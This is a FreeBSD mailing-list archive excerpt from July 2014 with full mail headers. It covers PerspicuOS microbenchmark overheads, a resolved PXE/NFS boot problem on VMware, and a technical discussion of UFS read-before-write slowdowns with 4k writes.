also interesting. Do you have any data on the cost of this > protection > in terms of run time overhead? I have not run any numbers that specifically measure the impact of the protection mechanism on normal writes to single objects. However, I have the following microbenchmarks for the system as a whole: ----------------------------+---------+-------------+------------------- Test | Native | PerspicuOS |PerspicuOS Overhead ----------------------------+---------+-------------+------------------- null syscall | 0.094 | 0.164 | 1.75x ----------------------------+---------+-------------+------------------- open/close | 2.02 | 2.16 | 1.07x ----------------------------+---------+-------------+------------------- mmap | 7.01 | 19 | 2.62x ----------------------------+---------+-------------+------------------- page fault | 30.8 | 33 | 1.04x ----------------------------+---------+-------------+------------------- signal handler install | 0.168 | 0.239 | 1.42x ----------------------------+---------+-------------+------------------- signal handler delivery | 1.27 | 1.33 | 1.05x ----------------------------+---------+-------------+------------------- fork + exit | 64.4 | 184 | 2.86x ----------------------------+---------+-------------+------------------- fork + exec | 99.7 | 253 | 2.54x ----------------------------+---------+-------------+------------------- The base system applies a write protection policy to MMU updates and also manages some secure state on interrupts. This latter cost can be done away with but those are unexplored mechanisms at this point. Thanks, ::nathan:: > > >I appreciate any ideas and even questions. I find that these help > >me to > >understand the system with greater clarity. > > Glad to help. > > Best, > George > From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 8 12:20:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C0C5BF40; Tue, 8 Jul 2014 12:20:53 +0000 (UTC) Received: from mail-pa0-x22e.google.com (mail-pa0-x22e.google.com [IPv6:2607:f8b0:400e:c03::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 91DA72C2B; Tue, 8 Jul 2014 12:20:53 +0000 (UTC) Received: by mail-pa0-f46.google.com with SMTP id eu11so7285116pac.33 for ; Tue, 08 Jul 2014 05:20:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=f28S6nJ3iQNmu06K35encE8C9R520c0s34OCI+PSNVA=; b=ZHop5M6prh38SUFiawajPzDkffVIKsBCHoBGfsnt+rp+MLhLnaGalc7I5CdJ25e+yg hAS+kQ9bT76B1MHhLoamAa6USIukZ7UsMa1nTunMk7sHVpf6ewxFgVVqPSkEu8EqaYjV B5bOfA1+ZKBr5fCu7T8W4Xh/X1gU/QPiTLn5XTMrHZrBmviFnXFCP9cgXaoPSYxDYsRI xy8X7PDb4DWcMPzYHqrkl5XuzC3xpTOrZ1gYfw92KTFm1hOp9xhuEifLY653oAlvIDBN HbTihCx0pSVmZdKXDYOH6owcOib9e8FDCmXsUap8NDmFKWlt2SM6vZl4G/fxfkrOXUNS /2Qw== MIME-Version: 1.0 X-Received: by 10.66.228.133 with SMTP id si5mr35012762pac.48.1404822053110; Tue, 08 Jul 2014 05:20:53 -0700 (PDT) Received: by 10.70.62.99 with HTTP; Tue, 8 Jul 2014 05:20:53 -0700 (PDT) In-Reply-To: References: Date: Tue, 8 Jul 2014 14:20:53 +0200 Message-ID: Subject: Re: Mount freebsd file systems during pxe boot using NFS From: amine tay To: Mariusz Zaborski Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Jul 2014 12:20:53 -0000 Hello, Yes it is now. Actually it was just a matter of compatipility. I was using a vmware virtual machine, and FreeBSD 9.1 requires drivers for vmware network interface (vmxnet) to be installed so... Thanks. Amine 2014-07-05 21:35 GMT+02:00 Mariusz Zaborski : > Hello, > > Did you mange to get it work? > What vm do you use? > > Check out also this: http://oshogbo.vexillium.org/blog/28/ > > Cheers, > Marisuz > > On 24 June 2014 15:43, amine tay wrote: > > Hello, everyone , > > > > I have a little problem that took me 3 days of work and still no result > or > > solution. > > I am trying to pxe boot a FreeBSD 9.2 i386 on a virtual machine. > Everything > > is ok on my DHCP , TFTP and NFS server. > > > > DHCP : > > option root-path is set > > > > TFTP: > > my pxebot file > > > > NFS : > > /etc/exports file is filled with tha path of the image > > > > Once the client is booted it hangs when trying to mount system files as > it > > is shown in the image attached. > > > > Also in my FreeBSD kernel I have : option NFS_ROOT > > I don't know what's the problem. and I commented out the /etc/fstab > > > > /etc/fstab (of FreeBSD image) > > #/dev/iso9660/FREEBSD_INSTALL / cd9660 ro 0 0 > > > > Thank you in advance for your help. > > > > Amine. > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 8 12:31:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BC1084C6; Tue, 8 Jul 2014 12:31:00 +0000 (UTC) Received: from DUB004-OMC1S1.hotmail.com (dub004-omc1s1.hotmail.com [157.55.0.200]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-SHA384 (256/256 bits)) (Client CN "*.outlook.com", Issuer "MSIT Machine Auth CA 2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4913F2D08; Tue, 8 Jul 2014 12:30:59 +0000 (UTC) Received: from DUB128-W37 ([157.55.0.238]) by DUB004-OMC1S1.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712); Tue, 8 Jul 2014 05:29:49 -0700 X-TMN: [gy5wp1MgVjaaumZei9GvdV6v9/YXPxIx] X-Originating-Email: [sclists@outlook.com] Message-ID: From: Quentin SCHWERKOLT To: amine tay , Mariusz Zaborski Subject: RE: Mount freebsd file systems during pxe boot using NFS Date: Tue, 8 Jul 2014 14:29:49 +0200 Importance: Normal In-Reply-To: References: , , MIME-Version: 1.0 X-OriginalArrivalTime: 08 Jul 2014 12:29:49.0867 (UTC) FILETIME=[4FA8A7B0:01CF9AA8] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Jul 2014 12:31:00 -0000 Hi=2C I have made several times pxe boot using NFS with FreeBSD 8.x / 9.x and I n= ever had to use the vmxnet driver. What is your exact error? Quentin > Date: Tue=2C 8 Jul 2014 14:20:53 +0200 > Subject: Re: Mount freebsd file systems during pxe boot using NFS > From: amine.tay91@gmail.com > To: oshogbo@freebsd.org > CC: freebsd-hackers@freebsd.org >=20 > Hello=2C >=20 > Yes it is now. Actually it was just a matter of compatipility. > I was using a vmware virtual machine=2C and FreeBSD 9.1 requires drivers = for > vmware network interface (vmxnet) to be installed so... >=20 > Thanks. > Amine >=20 >=20 > 2014-07-05 21:35 GMT+02:00 Mariusz Zaborski : >=20 > > Hello=2C > > > > Did you mange to get it work? > > What vm do you use? > > > > Check out also this: http://oshogbo.vexillium.org/blog/28/ > > > > Cheers=2C > > Marisuz > > > > On 24 June 2014 15:43=2C amine tay wrote: > > > Hello=2C everyone =2C > > > > > > I have a little problem that took me 3 days of work and still no resu= lt > > or > > > solution. > > > I am trying to pxe boot a FreeBSD 9.2 i386 on a virtual machine. > > Everything > > > is ok on my DHCP =2C TFTP and NFS server. > > > > > > DHCP : > > > option root-path is set > > > > > > TFTP: > > > my pxebot file > > > > > > NFS : > > > /etc/exports file is filled with tha path of the image > > > > > > Once the client is booted it hangs when trying to mount system files = as > > it > > > is shown in the image attached. > > > > > > Also in my FreeBSD kernel I have : option NFS_ROOT > > > I don't know what's the problem. and I commented out the /etc/fstab > > > > > > /etc/fstab (of FreeBSD image) > > > #/dev/iso9660/FREEBSD_INSTALL / cd9660 ro 0 0 > > > > > > Thank you in advance for your help. > > > > > > Amine. > > > _______________________________________________ > > > freebsd-hackers@freebsd.org mailing list > > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > > To unsubscribe=2C send any mail to " > > freebsd-hackers-unsubscribe@freebsd.org" > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe=2C send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" = From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 8 12:37:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9112B7A8 for ; Tue, 8 Jul 2014 12:37:16 +0000 (UTC) Received: from mail-ie0-x230.google.com (mail-ie0-x230.google.com [IPv6:2607:f8b0:4001:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5F1962DC1 for ; Tue, 8 Jul 2014 12:37:16 +0000 (UTC) Received: by mail-ie0-f176.google.com with SMTP id tp5so757262ieb.7 for ; Tue, 08 Jul 2014 05:37:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=18p/zAkbNLmAgM11/4Vok4p9sTesSvpzfJzG1h64Q2o=; b=JmYZv998m1WB6VgaHxWUt99W7Z6uQADV8Rlcf/NweAPz5trx8Dai33Up+ol62C8oKA 4pM1nWaMeqHFq8aGTzyCkaba/ZVXMn7FX23Wc64e2a+OQ4CCYICFMDYo6XUzpAjr6Gix 3GURt62W8lsVEtXw5E2IxAof8N2oA0hjA7IiQEAG07bPxPKk3/iwiaXVjW+efVAsN6l0 KBGlonadLR8d5nxaXS4PR+GlEOwTaQ8zWcrEEjlOkvkbMg/S8LJRIkMKEtsjcyQnKoAo oaawzYpJIZ8zT/t6t3+lWVm7H4C8UzRYfHU3Rg6yb8Dm+b2jTbflqtj1v8OIfU4BFuwH Yypg== MIME-Version: 1.0 X-Received: by 10.50.138.99 with SMTP id qp3mr3501742igb.12.1404823035591; Tue, 08 Jul 2014 05:37:15 -0700 (PDT) Sender: oshogbo.vx@gmail.com Received: by 10.50.27.36 with HTTP; Tue, 8 Jul 2014 05:37:15 -0700 (PDT) In-Reply-To: References: Date: Tue, 8 Jul 2014 14:37:15 +0200 X-Google-Sender-Auth: b_yUopuStItY04gIEREEMfhumeg Message-ID: Subject: Re: Mount freebsd file systems during pxe boot using NFS From: Mariusz Zaborski To: amine tay Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Jul 2014 12:37:16 -0000 Great I'm happy that everything is working :) Cheers, Mariusz On 8 July 2014 14:20, amine tay wrote: > Hello, > > Yes it is now. Actually it was just a matter of compatipility. > I was using a vmware virtual machine, and FreeBSD 9.1 requires drivers for > vmware network interface (vmxnet) to be installed so... > > Thanks. > Amine > > > 2014-07-05 21:35 GMT+02:00 Mariusz Zaborski : > >> Hello, >> >> Did you mange to get it work? >> What vm do you use? >> >> Check out also this: http://oshogbo.vexillium.org/blog/28/ >> >> Cheers, >> Marisuz >> >> On 24 June 2014 15:43, amine tay wrote: >> > Hello, everyone , >> > >> > I have a little problem that took me 3 days of work and still no result >> > or >> > solution. >> > I am trying to pxe boot a FreeBSD 9.2 i386 on a virtual machine. >> > Everything >> > is ok on my DHCP , TFTP and NFS server. >> > >> > DHCP : >> > option root-path is set >> > >> > TFTP: >> > my pxebot file >> > >> > NFS : >> > /etc/exports file is filled with tha path of the image >> > >> > Once the client is booted it hangs when trying to mount system files as >> > it >> > is shown in the image attached. >> > >> > Also in my FreeBSD kernel I have : option NFS_ROOT >> > I don't know what's the problem. and I commented out the /etc/fstab >> > >> > /etc/fstab (of FreeBSD image) >> > #/dev/iso9660/FREEBSD_INSTALL / cd9660 ro 0 0 >> > >> > Thank you in advance for your help. >> > >> > Amine. >> > _______________________________________________ >> > freebsd-hackers@freebsd.org mailing list >> > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> > To unsubscribe, send any mail to >> > "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 8 22:30:13 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 34DF63C1; Tue, 8 Jul 2014 22:30:13 +0000 (UTC) Received: from gw.catspoiler.org (gw.catspoiler.org [75.1.14.242]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 155CD2925; Tue, 8 Jul 2014 22:30:12 +0000 (UTC) Received: from FreeBSD.org (mousie.catspoiler.org [192.168.101.2]) by gw.catspoiler.org (8.13.3/8.13.3) with ESMTP id s68MU0Dw028257; Tue, 8 Jul 2014 15:30:04 -0700 (PDT) (envelope-from truckman@FreeBSD.org) Message-Id: <201407082230.s68MU0Dw028257@gw.catspoiler.org> Date: Tue, 8 Jul 2014 15:30:00 -0700 (PDT) From: Don Lewis Subject: Re: Strange IO performance with UFS To: kostikbel@gmail.com In-Reply-To: <20140705195816.GV93733@kib.kiev.ua> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Cc: freebsd-fs@FreeBSD.org, sparvu@systemdatarecorder.org, freebsd-hackers@FreeBSD.org, roger.pau@citrix.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Jul 2014 22:30:13 -0000 On 5 Jul, Konstantin Belousov wrote: > On Sat, Jul 05, 2014 at 06:18:07PM +0200, Roger Pau Monn? wrote: >> As can be seen from the log above, at first the workload runs fine, >> and the disk is only performing writes, but at some point (in this >> case around 40% of completion) it starts performing this >> read-before-write dance that completely screws up performance. > > I reproduced this locally. I think my patch is useless for the fio/4k write > situation. > > What happens is indeed related to the amount of the available memory. > When the size of the file written by fio is larger than the memory, > system has to recycle the cached pages. So after some moment, doing > a write has to do read-before-write, and this occurs not at the EOF > (since fio pre-allocated the job file). I reproduced this locally with dd if=/dev/zero bs=4k conv=notrunc ... For the small file case, if I flush the file from cache by unmounting the filesystem where it resides and then remounting the filesystem, then I see lots of reads right from the start. > In fact, I used 10G file on 8G machine, but I interrupted the fio > before it finish the job. The longer the previous job runs, the longer > is time for which new job does not issue reads. If I allow the job to > completely fill the cache, then the reads starts immediately on the next > job run. > > I do not see how could anything be changed there, if we want to keep > user file content on partial block writes, and we do. About the only thing I can think of that might help is to trigger readahead when we detect sequential small writes. We'll still have to do the reads, but hopefully they will be larger and occupy less time in the critical path. Writing a multiple of the filesystem blocksize is still the most efficient strategy. From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 9 12:23:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A2F235C6; Wed, 9 Jul 2014 12:23:52 +0000 (UTC) Received: from mail109.syd.optusnet.com.au (mail109.syd.optusnet.com.au [211.29.132.80]) by mx1.freebsd.org (Postfix) with ESMTP id 3750B269B; Wed, 9 Jul 2014 12:23:52 +0000 (UTC) Received: from c122-106-147-133.carlnfd1.nsw.optusnet.com.au (c122-106-147-133.carlnfd1.nsw.optusnet.com.au [122.106.147.133]) by mail109.syd.optusnet.com.au (Postfix) with ESMTPS id D653FD65705; Wed, 9 Jul 2014 22:23:49 +1000 (EST) Date: Wed, 9 Jul 2014 22:23:48 +1000 (EST) From: Bruce Evans X-X-Sender: bde@besplex.bde.org To: Don Lewis Subject: Re: Strange IO performance with UFS In-Reply-To: <201407082230.s68MU0Dw028257@gw.catspoiler.org> Message-ID: <20140709213958.K1732@besplex.bde.org> References: <201407082230.s68MU0Dw028257@gw.catspoiler.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Optus-CM-Score: 0 X-Optus-CM-Analysis: v=2.1 cv=QIpRGG7L c=1 sm=1 tr=0 a=7NqvjVvQucbO2RlWB8PEog==:117 a=PO7r1zJSAAAA:8 a=a5X3N0CLKfYA:10 a=kj9zAlcOel0A:10 a=JzwRw_2MAAAA:8 a=j_qACPGiQZ6BHRBonU4A:9 a=CjuIK1q_8ugA:10 X-Mailman-Approved-At: Wed, 09 Jul 2014 12:41:08 +0000 Cc: kostikbel@gmail.com, freebsd-fs@freebsd.org, freebsd-hackers@freebsd.org, sparvu@systemdatarecorder.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Jul 2014 12:23:52 -0000 On Tue, 8 Jul 2014, Don Lewis wrote: > On 5 Jul, Konstantin Belousov wrote: >> On Sat, Jul 05, 2014 at 06:18:07PM +0200, Roger Pau Monn? wrote: > >>> As can be seen from the log above, at first the workload runs fine, >>> and the disk is only performing writes, but at some point (in this >>> case around 40% of completion) it starts performing this >>> read-before-write dance that completely screws up performance. >> >> I reproduced this locally. I think my patch is useless for the fio/4k write >> situation. >> >> What happens is indeed related to the amount of the available memory. >> When the size of the file written by fio is larger than the memory, >> system has to recycle the cached pages. So after some moment, doing >> a write has to do read-before-write, and this occurs not at the EOF >> (since fio pre-allocated the job file). > > I reproduced this locally with dd if=/dev/zero bs=4k conv=notrunc ... > For the small file case, if I flush the file from cache by unmounting > the filesystem where it resides and then remounting the filesystem, then > I see lots of reads right from the start. This seems to be related to kern/178997: Heavy disk I/O may hang system. Test programs doing more complicated versions of conv=notrunc caused even worse problems when run in parallel. I lost track of what happened with that. I think kib committed a partial fix that doesn't apply to the old version of FreeBSD that I use. >> In fact, I used 10G file on 8G machine, but I interrupted the fio >> before it finish the job. The longer the previous job runs, the longer >> is time for which new job does not issue reads. If I allow the job to >> completely fill the cache, then the reads starts immediately on the next >> job run. >> >> I do not see how could anything be changed there, if we want to keep >> user file content on partial block writes, and we do. > > About the only thing I can think of that might help is to trigger > readahead when we detect sequential small writes. We'll still have to > do the reads, but hopefully they will be larger and occupy less time in > the critical path. ffs_balloc*() already uses cluster_write() so sequentuial small writes already normally do at least 128K of readahead and you should rarely see the the 4K-reads (except with O_DIRECT?). msdosfs is missing this readahead. I never got around to sending my patches for this to kib in the PR 178997 discussion. Here I see full clustering with 64K-clusters on the old version of FreeBSD, but my drive doesn't like going back and forth, so the writes go 8 times as slow as without the reads instead of only 2 times as slow. (It's an old ATA drive with a ~1MB buffer, but apparently has dumb firmware so seeking back just 64K is too much for it to cache.) Just remembered I have a newer SATA drive with a ~32MB buffer. It only goes 3 times as slow. The second drive is also on a not quite so old version of FreeBSD that certainly doesn't have any workarounds for PR 178977. All file systems were mounted async, which shouldn't affect this much. > Writing a multiple of the filesystem blocksize is still the most > efficient strategy. Except when the filesystem block size is too large to be efficient. The FreeBSD ffs default block size of 32K is slow for small files. Fragments reduce its space wastage but interact badly with the buffer cache. Linux avoids some of these problems by using smaller filesystem block sizes and not using fragments (at least in old filesystems). Bruce From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 9 12:54:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 42C35FBD; Wed, 9 Jul 2014 12:54:00 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D8E2229A6; Wed, 9 Jul 2014 12:53:59 +0000 (UTC) Received: from tom.home (kib@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s69CrnJr011171 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Jul 2014 15:53:49 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s69CrnJr011171 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s69Crngi011170; Wed, 9 Jul 2014 15:53:49 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 9 Jul 2014 15:53:49 +0300 From: Konstantin Belousov To: Bruce Evans Subject: Re: Strange IO performance with UFS Message-ID: <20140709125349.GV93733@kib.kiev.ua> References: <201407082230.s68MU0Dw028257@gw.catspoiler.org> <20140709213958.K1732@besplex.bde.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IF36ViUsfxDRDLKY" Content-Disposition: inline In-Reply-To: <20140709213958.K1732@besplex.bde.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-fs@freebsd.org, sparvu@systemdatarecorder.org, Don Lewis , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Jul 2014 12:54:00 -0000 --IF36ViUsfxDRDLKY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jul 09, 2014 at 10:23:48PM +1000, Bruce Evans wrote: > On Tue, 8 Jul 2014, Don Lewis wrote: >=20 > > On 5 Jul, Konstantin Belousov wrote: > >> On Sat, Jul 05, 2014 at 06:18:07PM +0200, Roger Pau Monn? wrote: > > > >>> As can be seen from the log above, at first the workload runs fine, > >>> and the disk is only performing writes, but at some point (in this > >>> case around 40% of completion) it starts performing this > >>> read-before-write dance that completely screws up performance. > >> > >> I reproduced this locally. I think my patch is useless for the fio/4k= write > >> situation. > >> > >> What happens is indeed related to the amount of the available memory. > >> When the size of the file written by fio is larger than the memory, > >> system has to recycle the cached pages. So after some moment, doing > >> a write has to do read-before-write, and this occurs not at the EOF > >> (since fio pre-allocated the job file). > > > > I reproduced this locally with dd if=3D/dev/zero bs=3D4k conv=3Dnotrunc= ... > > For the small file case, if I flush the file from cache by unmounting > > the filesystem where it resides and then remounting the filesystem, then > > I see lots of reads right from the start. >=20 > This seems to be related to kern/178997: Heavy disk I/O may hang system. > Test programs doing more complicated versions of conv=3Dnotrunc caused > even worse problems when run in parallel. I lost track of what happened > with that. I think kib committed a partial fix that doesn't apply to > the old version of FreeBSD that I use. I do not think this is related to kern/178997. Yes, kern/178997 is only partially fixed, parallel reads and starved writer could still cause buffer cache livelock. On the other hand, I am not sure how feasible is to create a real test case for this. Fix would be not easy. >=20 > >> In fact, I used 10G file on 8G machine, but I interrupted the fio > >> before it finish the job. The longer the previous job runs, the longer > >> is time for which new job does not issue reads. If I allow the job to > >> completely fill the cache, then the reads starts immediately on the ne= xt > >> job run. > >> > >> I do not see how could anything be changed there, if we want to keep > >> user file content on partial block writes, and we do. > > > > About the only thing I can think of that might help is to trigger > > readahead when we detect sequential small writes. We'll still have to > > do the reads, but hopefully they will be larger and occupy less time in > > the critical path. >=20 > ffs_balloc*() already uses cluster_write() so sequentuial small writes > already normally do at least 128K of readahead and you should rarely > see the the 4K-reads (except with O_DIRECT?). You mean cluster_read(). Indeed, ffs_balloc* already does this. This is also useful since it preallocates vnode pages, making writes even less blocking. >=20 > msdosfs is missing this readahead. I never got around to sending > my patches for this to kib in the PR 178997 discussion. >=20 > Here I see full clustering with 64K-clusters on the old version of > FreeBSD, but my drive doesn't like going back and forth, so the writes > go 8 times as slow as without the reads instead of only 2 times as > slow. (It's an old ATA drive with a ~1MB buffer, but apparently has > dumb firmware so seeking back just 64K is too much for it to cache.) > Just remembered I have a newer SATA drive with a ~32MB buffer. It > only goes 3 times as slow. The second drive is also on a not quite > so old version of FreeBSD that certainly doesn't have any workarounds > for PR 178977. All file systems were mounted async, which shouldn't > affect this much. >=20 > > Writing a multiple of the filesystem blocksize is still the most > > efficient strategy. >=20 > Except when the filesystem block size is too large to be efficient. > The FreeBSD ffs default block size of 32K is slow for small files. > Fragments reduce its space wastage but interact badly with the > buffer cache. Linux avoids some of these problems by using smaller > filesystem block sizes and not using fragments (at least in old > filesystems). >=20 > Bruce --IF36ViUsfxDRDLKY Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTvTtdAAoJEJDCuSvBvK1B7MMP/jLFcxLIyRajE89ULELxiNPp W7Kip0tE04OzNm6DnsGdA0L9vimqdwNfSFdXn42sXaqUrFnaijAZoTjhEEYX+khD 22ijy3AoW7g5J2qRM0p/rbgwBKVFGtsw2GBFTQvFySGfFunmSssMGXOucXYQjo6z jf8AyR/wLNG5+R+1rkykysAPbqGr8l/K/msxWmV0rqk1rjIMFRONOw5H0hz+hXXN 8YkkqsiJxq745ZyooHP8IsDEne1WIrbE1cY3XQPuDiI0fQb26M9qnufe+4KjLINe teSN6OeHNAy8LBnP4OWWiW+NxigNpwL4vuyikJ7zpNm4WB24cad3KQiytGacNRgo nat26IFAfpRciRnVtiPQyT+21sO/OBqTyRtnBzf3RATyKtZSfJupoKZXtVCkjTO4 eZ0gdb835dvq2zKKu/kl1mM9+R/hguFZfJVxBNSAzwhOms+7CxqFet78nnKGFVjn kCpm18ZT1PY9mMyMdE0v/0w2Rnnq3RUAGGZZHAGD7V0LIX+ZXyjtuibNPqaJiLhQ c0IxXzGdfJx02sh0HEUyPdlZZ1lcYZG7gEYQV5Lt5Iff28tkZcFITrE0j9Mh/3PR BhAUUMAKWeiSbyZ+UVQmfIVZfQ9nrV9G14ZsfHmjgqagbuqh44P1QjDsHm+QRzkR 97SvM2fPqlJLuCDuGRge =i4cX -----END PGP SIGNATURE----- --IF36ViUsfxDRDLKY-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 9 16:22:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F0260CE8 for ; Wed, 9 Jul 2014 16:22:32 +0000 (UTC) Received: from mail-ig0-f174.google.com (mail-ig0-f174.google.com [209.85.213.174]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B725B2FDE for ; Wed, 9 Jul 2014 16:22:32 +0000 (UTC) Received: by mail-ig0-f174.google.com with SMTP id c1so2065434igq.1 for ; Wed, 09 Jul 2014 09:22:26 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:from:content-type:mime-version:subject :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=1cQjE1beu1wGcPJypj2Z0uqWKM6sCd3mFNtoW6xqT6k=; b=eXeOSntvFpzBFMd1hAWp5S3XaoNl6Pc0rRwxPFlQ68816Iijp1aBnm1zJHAI+v0Vcb nCSCsxBflVhU+yK7B9IqeyHEASZhgbF+DzJSSeocyxkfXIap5QoES/icnQudFb11nymK nQ8BRHwquxJ7nk/cVJMPp/c64EP/CTFFx+Um2pyDSZJoRGdAA6pgFaVt9Oc7JS1GrWjT ubB56iHs1iIlPccMkZDiwJAidrlr1y62s1ZpRHgyvcLEDBGeKwcxbt+rHHLTeDeO3pQQ 